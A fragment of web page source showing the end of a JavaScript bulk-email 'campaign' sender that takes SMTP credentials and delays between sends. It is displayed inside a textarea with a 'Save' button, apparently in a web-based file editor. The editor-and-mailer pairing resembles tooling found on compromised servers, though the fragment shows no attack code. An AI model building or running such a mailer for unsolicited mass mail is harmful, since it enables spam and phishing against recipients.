                if (delaySec &gt; 0) {
                    log(`Waiting ${delaySec}s...`, &#039;info&#039;);
                    setTimeout(() =&gt; processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec), delaySec * 1000);
                } else {
                    processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec);
                }
            } else if (currentIndex &gt;= emails.length) {
                log(&#039;Campaign finished.&#039;, &#039;success&#039;);
                stopSending();
                document.getElementById(&#039;btn_text&#039;).innerText = &#039;Start New Campaign&#039;;
            }
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php endif; ?&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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